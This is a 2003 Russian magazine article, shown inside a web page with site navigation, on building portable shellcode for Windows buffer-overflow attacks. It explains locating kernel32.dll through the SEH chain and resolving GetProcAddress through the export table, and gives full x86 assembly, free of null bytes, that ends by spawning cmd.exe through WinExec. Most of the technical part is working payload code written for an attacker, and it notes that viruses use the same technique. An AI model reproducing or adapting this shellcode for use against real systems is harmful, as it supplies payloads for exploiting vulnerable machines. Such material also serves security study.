Построение переносимого shell-кода для Windows-систем::Журнал СА 9.2003
www.samag.ru
     
Поиск   
              
 www.samag.ru    Web  0 товаров , сумма 0 руб.
E-mail
Пароль  
 Запомнить меня
Регистрация | Забыли пароль?
Журнал "Системный администратор"
Журнал «БИТ»
Подписка
Архив номеров
Где купить
Наука и технологии
Авторам
Рекламодателям
Контакты
   

  Опросы
  Статьи

Событие  

В банке рассола ждет сисадмина с полей фрактал-кукумбер

Читайте впечатления о слете ДСА 2024, рассказанные волонтером и участником слета

 Читать далее...

Организация бесперебойной работы  

Бесперебойная работа ИТ-инфраструктуры в режиме 24/7 Как обеспечить ее в нынешних условиях?

Год назад ИТ-компания «Крок» провела исследование «Ключевые тренды сервисного рынка 2023». Результаты

 Читать далее...

Книжная полка  

Читайте и познавайте мир технологий!

Издательство «БХВ» продолжает радовать выпуском интересных и полезных, к тому же прекрасно

 Читать далее...

СУБД PostgreSQL  

СУБД Postgres Pro

Сертификация по новым требованиям ФСТЭК и роль администратора без доступа к данным

 Читать далее...

Критическая инфраструктура  

КИИ для оператора связи. Готовы ли компании к повышению уровня кибербезопасности?

Похоже, что провайдеры и операторы связи начали забывать о требованиях законодательства

 Читать далее...

Архитектура ПО  

Архитектурные метрики. Качество архитектуры и способность системы к эволюционированию

Обычно соответствие программного продукта требованиям мы проверяем через скоуп вполне себе понятных

 Читать далее...

Как хорошо вы это знаете  

Что вам известно о разработках компании ARinteg?

Компания ARinteg (ООО «АРинтег») – системный интегратор на российском рынке ИБ –

 Читать далее...

Графические редакторы  

Рисование абстрактных гор в стиле Paper Cut

Векторный графический редактор Inkscape – яркий представитель той прослойки open source, с

 Читать далее...

День сисадмина  

Учите матчасть! Или как стать системным администратором

Лето – время не только отпусков, но и хорошая возможность определиться с профессией

 Читать далее...

День сисадмина  

Живой айтишник – это всегда движение. Остановка смерти подобна

Наши авторы рассказывают о своем опыте и дают советы начинающим системным администраторам.

 Читать далее...

Виртуализация  

Рынок решений для виртуализации

По данным «Обзора российского рынка инфраструктурного ПО и перспектив его развития», сделанного

 Читать далее...

Книжная полка  

Как стать креативным и востребованным

Издательский дом «Питер» предлагает новинки компьютерной литературы, а также книги по бизнесу

 Читать далее...

Книжная полка  

От создания сайтов до разработки и реализации API

В издательстве «БХВ» недавно вышли книги, которые будут интересны системным администраторам, создателям

 Читать далее...

Разбор полетов  

Ошибок опыт трудный

Как часто мы легко повторяем, что не надо бояться совершать ошибки, мол,

 Читать далее...

1001 и 1 книга  
19.03.2018г.
Просмотров: 6143
Комментарии: 0
Машинное обучение с использованием библиотеки Н2О

 Читать далее...

12.03.2018г.
Просмотров: 6856
Комментарии: 0
Особенности киберпреступлений в России: инструменты нападения и защита информации

 Читать далее...

12.03.2018г.
Просмотров: 4139
Комментарии: 0
Глубокое обучение с точки зрения практика

 Читать далее...

12.03.2018г.
Просмотров: 2978
Комментарии: 0
Изучаем pandas

 Читать далее...

12.03.2018г.
Просмотров: 3781
Комментарии: 0
Программирование на языке Rust (Цветное издание)

 Читать далее...

19.12.2017г.
Просмотров: 3789
Комментарии: 0
Глубокое обучение

 Читать далее...

19.12.2017г.
Просмотров: 6283
Комментарии: 0
Анализ социальных медиа на Python

 Читать далее...

19.12.2017г.
Просмотров: 3134
Комментарии: 0
Основы блокчейна

 Читать далее...

19.12.2017г.
Просмотров: 3434
Комментарии: 0
Java 9. Полный обзор нововведений

 Читать далее...

16.02.2017г.
Просмотров: 7246
Комментарии: 0
Опоздавших не бывает, или книга о стеке

 Читать далее...

17.05.2016г.
Просмотров: 10616
Комментарии: 0
Теория вычислений для программистов

 Читать далее...

30.03.2015г.
Просмотров: 12336
Комментарии: 0
От математики к обобщенному программированию

 Читать далее...

18.02.2014г.
Просмотров: 13969
Комментарии: 0
Рецензия на книгу «Читаем Тьюринга»

 Читать далее...

13.02.2014г.
Просмотров: 9100
Комментарии: 0
Читайте, размышляйте, действуйте

 Читать далее...

12.02.2014г.
Просмотров: 7053
Комментарии: 0
Рисуем наши мысли

 Читать далее...

10.02.2014г.
Просмотров: 5362
Комментарии: 3
Страна в цифрах

 Читать далее...

18.12.2013г.
Просмотров: 4594
Комментарии: 0
Большие данные меняют нашу жизнь

 Читать далее...

18.12.2013г.
Просмотров: 3402
Комментарии: 0
Компьютерные технологии – корень зла для точки роста

 Читать далее...

04.12.2013г.
Просмотров: 3129
Комментарии: 0
Паутина в облаках

 Читать далее...

03.12.2013г.
Просмотров: 3379
Комментарии: 0
Рецензия на книгу «MongoDB в действии»

 Читать далее...

02.12.2013г.
Просмотров: 3000
Комментарии: 0
Не думай о минутах свысока

 Читать далее...

Друзья сайта  

 Построение переносимого shell-кода для Windows-систем

Архив номеров / 2003 / Выпуск №9 (10) / Построение переносимого shell-кода для Windows-систем

Рубрика: Безопасность /  Тестирование

СТАНИСЛАВ ГОШКО

Построение переносимого shell-кода

для Windows-систем

Всё чаще и чаще обсуждаются аспекты атак на Windows-системы. Основные возможности атак на семейство данных систем были уже рассмотрены, но не стоит забывать о том, что при построении атаки на переполнение буфера в большинстве случаев атакующий сталкивается с построением shell-кода.

Shell-код – это двоичный код, который выполняется в контексте другой программы. Когда уязвимость уже обнаружена и начинается написание эксплоита, необходимо для себя решить, будет ли эксплоит зависеть только от версии уязвимой программы или ещё он будет зависеть от версии операционной системы. Если атакующий хочет, чтобы его эксплоит работал на большинстве систем, то ему необходимо построить shell-код, который бы не опирался на «жёсткие» адреса WIN API-функций.

Для построения такого рода кода необходимо, чтобы shell-код удовлетворял следующим требованиям:

  • Поиск адреса ядра (kernel32.dll).
  • Поиск адреса WIN API-функции GetProcAddress.
  • Поиск адресов других WIN API-функций при помощи функции GetProcAddress.
  • Запуск необходимых нам WIN API-функций по найденным адресам.

Каким образом возможно выполнить первое требование? При запуске любой программы в операционных системах семейства Windows она вызывается из ядра. Поэтому первый и относительно сложный способ поиска адреса ядра основан на поиске в стеке. Но если мы воспользуемся этим способом, то наш shell-код станет очень большим, поэтому мы пойдём другим путём.

Второй способ обнаружения адреса ядра – при помощи SEH. Что же такое SEH? Это структурированный обработчик исключений. К примеру, если мы пытаемся писать в ядро, то будет вызываться исключение и обрабатываться оно будет при помощи SEH. Адрес обработчика исключений всегда лежит внутри ядра, так что для поиска адреса ядра нам всего лишь необходимо найти последний обработчик. По адресу fs:[0] лежит номер текущего обработчика исключений. Ищем, пока не найдём 0xFFFFFFFF (номер системного обработчика). Этот адрес, в отличие от адреса функции ExitThread в NT, всегда лежит в kernel32.dll.

Рассмотрим пример поиска адреса kernel:

    mov    eax, fs:[ebx]              ; Указатель на список обработчиков

           inc    eax                        ; Увеличиваем eax на 1

next_seh:

           xchg   eax, ebx                   ; Обмениваем содержимое eax  c ebx

           mov    eax, [ebx-1]               ; Номер текущего обработчика

           inc    eax                        ; Увеличиваем eax на 1

           jnz    next_seh                   ; Является ли он системным (-1)?

           mov    edx, [ebx-1+4]             ; Адрес обработчика

           xchg   ax, dx                     ; Эквивалентно xor dx,dx (eax=0)

           xor    eax,eax                    ; Обнуляем eax

           mov    ax,1001h                   ; Помещаем в eax

           dec    ax                         ; 1000

next_block:

           cmp    word ptr [edx],'ZM'        ; Начало?

           je     found_MZ                   ; ДА!

           sub    edx,eax                    ; Ищем дальше

           jmp    next_block

found_MZ:                     

           mov    ebx,edx                    ; Сохраним указатель

           mov    edi,dword ptr [edx+3Ch]    ; Адрес PE-заголовка

           add    edi,edx                    ; +Адрес kernel

           cmp    word ptr [edi],'EP'        ; Проверка на PE

           jne    Exit                       ; Не равно – выходим

В результате работы данного куска кода у нас в регистре edx будет находиться адрес ядра. Данный код специально модифицирован таким образом, чтобы в нём не было нулевых байт.

Теперь перейдём к поиску адреса функции GetProcAddress. Поиск данной функции используется в большинстве современных вирусов, ориентированных на Windows-системы.

По определённому смещению в PE-заголовке мы можем найти адрес таблицы экспортов. В таблице экспортов узнаем количество указателей на функции, расположение таблицы указателей имен и адрес таблицы ординалов. Перебираем указатели (и ординалы), проверяя при этом имена функций, на которые они указывают при совпадении с GetProcAddress. При совпадении возьмем ординал и по таблице адресов мы получим адрес функции.

Рассмотрим пример поиска адреса функции GetProc-Address:

mov    ebx,edx                    ; Сохраним указатель

           mov    edi,dword ptr [edx+3Ch]    ; Адрес PE-заголовка

           add    edi,edx                    ; +Адрес kernel

           cmp    word ptr [edi],'EP'        ; Проверка на PE

           jne    Exit                       ; Не равно – выходим

           push   edx                        ; Сохраним адрес kernel

           add    ebx,[edi+78h]              ; Получим адрес таблицы экспортов

           mov    ecx,[ebx+18h]              ; Количество указателей

           mov    esi,[ebx+20h]              ; Указатель на таблицу  указателей имен

           mov    edi,[ebx+24h]              ; Указатель на таблицу ординалов

           add    esi,edx                    ; Адрес таблицы имен в памяти

           add    edi,edx                    ; Адрес таблицы ординалов в памяти

           cld                               ; Поиск вперед

           add    ebp,8                      ; ebp указывает на следующую строку

Search:                                     ; Ищем функцию GetProcAddress

           Lodsd                             ; Берем указатель из таблицы указателей

           add    eax,edx                    ; Получаем адрес памяти

           xchg   esi,eax                    ; В esi указатель на имя найденной функции

           xchg   edi,ebp                    ;

; Указываем на имя нужной нам функции

           push   ecx                        ; Кладём ecx в стек

           xor    ecx,ecx                    ; Обнуляем ecx

           add    cl,15                      ; Размер строки

           repe   cmpsb                      ; Сравниваем

           jc     restore1

rest2:

           xchg   esi,eax                    ; Восстановим значение esi

           pop    ecx                        ; Восстановим количество указателей

           xchg   edi,ebp                    ; Восстановим указатель на ординалы

           je     Found                      ; Нашли!

           inc    edi                        ; Нет – пробуем следующую функцию

           inc    edi                        ; Указатель на следующий ординал

           loop   Search

           jmp    Exit

restore1:

           xor    esi,esi                    ;

           mov    si,61125                   ; Помещаем в esi число 15

           sub    si,61110                   ;

           sub    esi,ecx                    ; Восстанавливаем указатель (edi) на начало строки

           sub    edi,esi                    ;

           jmp    rest2                      ;

Found:

           xor    eax,eax                    ; Обнуляем eax

           mov    ax,word ptr [edi]

;

; Возьмем ординал

           shl    eax,2                      ­; Умножим на размер ординала

           mov    esi,[ebx+1Ch]              ; Указатель на таблицу адресов

           add    esi,edx                    ; Получим адрес начала таблицы адресов

           add    esi,eax                    ; И адрес нужной функции

           lodsd                             ; Прочитаем

           add    eax,edx                    ; Добавим адрес kernel

В начале этого кода в edx хранится адрес kernel, а в конце в eax хранится адрес функции GetProcAddress.

Третье и четвёртое требования выполняются достаточно легко. Для этого необходимо знание о том, с какими параметрами запускаются необходимые нам WIN API-функции.

Теперь построим переносимый shell-код для локальной атаки на Win32-системы:

.386                           

.model flat, stdcall           

extrn ExitProcess:proc                                      

.data                         

start:                         

;---------------[SUPA SHELLCODE]--------------------------

Getproc:

           mov    esi,esp                    ; esi указывает на вершину стека

           xor    ecx,ecx                    ; обнуляем ecx

           mov    cl,169                     ; ecx указывает на текстовую строку 'WinExec'

           add    esi,ecx                    ; И esi теперь указывет на 'WinExec'

           push   esi                        ; Кладём esi в стек

           mov    ebp,esi                    ; И ebp теперь указывает на 'WinExec'

           mov    edi,esi                    ; И edi теперь указывает на 'WinExec'

           xor    ecx,ecx                    ; Обнуляем ecx

           mov    cl,27                      ; И кладём в cl 27

xor1:      lodsb                             ; Загружаем в al байт

           cmp    al,01                      ; Проверяем 1 это или нет

           jne     nextb                     ; Если нет – ищем дальше

           xor    al,01                      ; Если 1, то обнуляем его и

nextb:

           stosb                             ; Возвращаем на место

           loop   xor1                      ; Таким образом, мы восстанавливаем все нужные нам нули

           xor    ebx,ebx                    ; Обнуляем ebx

           mov    eax, fs:[ebx]               ; Указатель на список обработчиков

           inc    eax                       ; Увеличиваем eax на 1

next_seh:

                 xchg   eax, ebx            ; Обмениваем содержимое eax c ebx

                 mov    eax, [ebx-1]        ; Номер текущего обработчика

                 inc    eax                 ; Увеличиваем eax на 1

                 jnz    next_seh            ; Является ли он системным (-1)?

                 mov    edx, [ebx-1+4]      ; Адрес обработчика

                 xchg   ax, dx              ; Эквивалентно xor dx,dx (eax=0)

           xor    eax,eax                    ; Обнуляем eax

           mov    ax,1001h                  ; Помещаем в eax

           dec    ax                         ; 1000

next_block:

           cmp    word ptr [edx],'ZM'        ; Начало?

           je     found_MZ                   ; ДА!

           sub    edx,eax                    ; Ищем дальше

           jmp    next_block

found_MZ:                     

           mov    ebx,edx                    ; Сохраним указатель

           mov    edi,dword ptr [edx+3Ch]    ; Адрес PE-заголовка

           add    edi,edx                    ; +Адрес kernel

           cmp    word ptr [edi],'EP'        ; Проверка на PE

           jne    Exit                       ; Не равно – выходим

           push   edx                        ; Сохраним адрес kernel

           add    ebx,[edi+78h]              ; Получим адрес таблицы экспортов

           mov    ecx,[ebx+18h]              ; Количество указателей

           mov    esi,[ebx+20h]              ; Указатель на таблицу указателей имен

           mov    edi,[ebx+24h]              ; Указатель на таблицу ординалов

           add    esi,edx                    ; Адрес таблицы имен в памяти

           add    edi,edx                    ; Адрес таблицы ординалов в памяти

           cld                               ; Поиск вперед

           add    ebp,8                     ; ebp указывает на следующую строку

Search:                                     ; Ищем функцию GetProcAddress

           lodsd                            ; Берем указатель из таблицы указателей

           add    eax,edx                    ; Получаем адрес памяти

           xchg   esi,eax                    ; В esi указатель на имя найденной функции

           xchg   edi,ebp                    ;

                                            ; Указываем на имя нужной нам фунции

           push   ecx                       ; Кладём ecx в стек

           xor    ecx,ecx                    ; Обнуляем ecx

           add    cl,15                     ; Размер строки

           repe   cmpsb                      ; Сравниваем

           jc     restore1

rest2:

           xchg   esi,eax                    ; Восстановим значение esi

           pop    ecx                       ; Восстановим количество указателей

           xchg   edi,ebp                    ; Восстановим указатель на ординалы

           je     Found                     ; Нашли!

           inc    edi                       ; Нет – пробуем следующую функцию

           inc    edi                       ; Указатель на следующий ординал

           loop   Search

           jmp    Exit

restore1:

           xor    esi,esi                    ;

           mov    si,61125                  ; Помещаем в esi число 15

           sub    si,61110                  ;

           sub    esi,ecx                    ; Восстанавливаем указатель (edi) на начало строки

           sub    edi,esi                    ;

           jmp    rest2                      ;

Found:

           xor    eax,eax                    ; Обнуляем eax

           mov    ax,word ptr [edi]

                                            ;

                                            ; Возьмем ординал

           shl    eax,2                     ; Умножим на размер ординала

           mov    esi,[ebx+1Ch]              ; Указатель на таблицу адресов

           add    esi,edx                    ; Получим адрес начала таблицы адресов

           add    esi,eax                    ; И адрес нужной функции

           lodsd                            ; Прочитаем

           add    eax,edx                    ; Добавим адрес kernel

           call   eax                       ; Получаем адрес функции WinExec

 

           push   1                         ; Заполняем стек

           push   ebp                       ;

           call   eax                       ; Запускаем "cmd.exe"

Exit:  

;---------------------------------------------------------

           db     'WinExec',01

           db     'GetProcAddress',01

           db     'cmd',01

konec:

.code

;---------------------------------------------------------

           nop

;---------------------------------------------------------

end start                                 

end  

Вот мы и построили переносимый shell-код для 32-битных систем семейства Windows.


Комментарии отсутствуют

Добавить комментарий

Комментарии могут оставлять только зарегистрированные пользователи

               Copyright © Системный администратор

Яндекс.Метрика
Tel.: (499) 277-12-45
E-mail: sa@samag.ru